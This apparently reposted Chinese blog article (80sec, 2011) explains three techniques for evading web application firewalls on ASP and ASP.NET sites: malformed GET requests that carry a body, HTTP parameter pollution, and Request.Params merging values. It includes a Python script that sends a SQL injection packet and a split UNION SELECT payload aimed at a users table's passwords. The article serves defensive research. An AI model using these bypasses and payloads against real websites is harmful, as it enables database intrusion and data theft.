浅谈绕过WAF的数种方法
0×00 前言
08年初诞生了一种SQL群注攻击,黑客在全球范围内对asp,asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入,黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改,可以在网站上无差别的进行网页木马攻击。
互联网是快速更新迭代的,但是很多没有开发能力的单位都是通过外包建立网站,网站的程序一上线就再也无人维护,很多程序存在各种漏洞无法修补,于是WAF便有了市场,现今门槛低且最能解决问题的是针对IIS/apache的软件WAF,通常一个模块一个扩展就能搞定,当然也有耗资百万千万的硬件WAF,然而如果WAF拦截规则出现漏洞,这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢?所以本文主要解析一些可以绕过WAF的罕见漏洞,供安全人员参考。
0×00 Request对象的包解析漏洞.
asp和asp.net的Request对象存在一个包解析漏洞,Request对象对于GET和POST包的解析过于宽松,用一句话表达就是Request对象它GET和POST傻傻分不清楚,稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据,但是asp和.net库内置的Request对象完全不按RFC标准来,下面我们可以做个测试:
分别将下面两段代码保存为1.asp和1.aspx
使用asp的Request对象接收t参数传值
―――――――――――――――-
<%
Response.Write “Request:” & Request(“t”)
%>
―――――――――――――――-
使用asp.net的Request对象接收t参数传值
―――――――――――――――-
<%@ Page Language=”C#” %>
<%
string test = Request["t"];
Response.Write(“Request:”+test);
%>
―――――――――――――――-
使用下面的python脚本调用socket发送原始的HTTP包
―――――――――――――――-
#!/usr/bin/env python
import socket
host = ’192.168.239.129′
path = ‘/1.asp’
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
exploit_packet=”t=’/**/or/**/1=1-”
exploit_packet+=”\\r\\n” * 8
packet_length = len(exploit_packet)
packet=’GET ‘ + path + ‘ HTTP/1.1\\r\\n’
packet+=’Host: ‘ + host + ‘\\r\\n’
packet+=’Content-Length: %s\\r\\n’ % packet_length
packet+=’Content-Type: application/x-www-form-urlencoded\\r\\n’
packet+=’\\r\\n’
packet = packet + exploit_packet
print packet
s.send(packet)
buf = s.recv(1000)
if buf: print buf[buf.rfind("\\r\\n"):]
s.close()
―――――――――――――――-
我们发送的原始包是:
GET /1.asp HTTP/1.1
Host: 192.168.239.129
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
t=’/**/or/**/1=1-
结果返回如下:
Request:’/**/or/**/1=1-
将python测试脚本的path改为/1.aspx测试页返回同样结果。
我们可以看到这是一个畸形的HTTP GET请求包,这个包的奥秘在于t=’/**/or/**/1=1-参数后的8个回车换行,包的结构类似于一个POST包,而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。
所以如果WAF没有处理好HTTP包的内容,沿用常规思路处理GET和POST的逻辑的话,那么这个畸形包将会毁掉WAF的基础防御。
0×01 被遗忘的复参攻击.
大家应该还记得09年的HTTP Parameter Pollution攻击,查看[3]文档,可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性,本文将利用这种的特性的攻击简称为复参攻击,用0X01里的例子简单的测试一下:
用GET请求传入两个t参数
GET http://192.168.239.129/1.asp?t=1&t=2
将返回
Request:1, 2
asp和asp.net的Request对象接收了两个参数,并且以逗号分隔,所以便衍生出了[3]文档中的复参SQL注入方法:
Vulnerable code:
SQL=”select key from table where id=”+Request.QueryString(“id”)
This request is successfully performed using the HPP technique:
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
The SQL request becomes:
select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,
我们可以看到通过巧妙的运用注释符结合复参特性可以分割GET参数中的SQL注入语句,如果WAF对GET参数的处理过于简单是不是会匹配不到拦截规则呢?
0×02 高级复参攻击.
ASP.NET的Request对象有一个Params属性,ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据,参考[4]微软MSDN文档我们可以知道Params属性的特性,该属性接收GET,POST和Cooke的传值,这里我们可以修改0×00里的例子测试一下:
使用asp.net的Request.Params方法接收t参数传值
―――――――――――――――-
<%@ Page Language=”C#” %>
<%
string test = Request.Params["t"];
Response.Write(“Request:”+test);
%>
―――――――――――――――-
发送一个POST包,GET,POST,COOKIE三个方法中都带有不同的t参数内容
―――――――――――――――-
POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
Host: 192.168.239.129
Cookie: t=2
t=3
―――――――――――――――-
结果返回
Request:1,3,2
最后得出结论,Request.Params方法接收的数据是按照GPC顺序整合,看到这里的同学再联想到0×01的复参攻击应该如醍醐灌顶了,我们可以将SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。想一项WAF针对这种高级复参攻击是否防御好了?
0×03 后话
WAF是不可能解决所有安全问题的,本文提出的思路归其本源实际上是WAF处理HTTP包与服务端处理HTTP包的差异造成的。互联网是不断更新迭代的,差异存在,类似的漏洞也会存在。
本文提到了三种绕过WAF的思路,其中第三种高级复参攻击是由Safe3同学提出的,本文也是与Safe3同学讨论他开发的WAF的BUG而来,所以感谢Safe3同学。另外请大家不要将本文的内容用于非法途径,仅供安全人员参考,谢谢。
参考:
[1].http://www.faqs.org/rfcs/rfc2616.html
[2].http://www.w3school.com.cn/asp/asp_ref_request.asp
[3].http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
[4].http://msdn.microsoft.com/en-us/library/system.web.httprequest.aspx
扫一扫订阅我的微信号:IT技术博客大学习
- 作者:80sec 来源: 80sec
- 标签: WAF
- 发布时间:2011-09-07 23:11:16
- [46] 界面设计速成
- [42] Oracle MTS模式下 进程地址与会话信
- [41] 视觉调整-设计师 vs. 逻辑
- [40] IOS安全–浅谈关于IOS加固的几种方法
- [39] android 开发入门
- [38] 图书馆的世界纪录
- [38] 如何拿下简短的域名
- [37] 程序员技术练级攻略
- [37] 【社会化设计】自我(self)部分――欢迎区
- [34] 读书笔记-壹百度:百度十年千倍的29条法则